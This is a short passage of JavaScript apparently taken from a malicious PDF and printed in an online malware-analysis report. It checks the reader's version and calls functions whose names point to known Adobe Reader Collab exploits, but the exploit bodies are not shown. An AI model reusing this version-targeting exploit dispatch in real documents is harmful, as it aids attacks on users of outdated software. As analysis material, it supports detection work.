}
if ((varsion_array[0] < 8) || (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){
collab_email();
}
if ((varsion_array[0] < 9) || (varsion_array[0] == 9 && varsion_array[1] < 1)){
collab_geticon();
}
}
pdf_start();
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.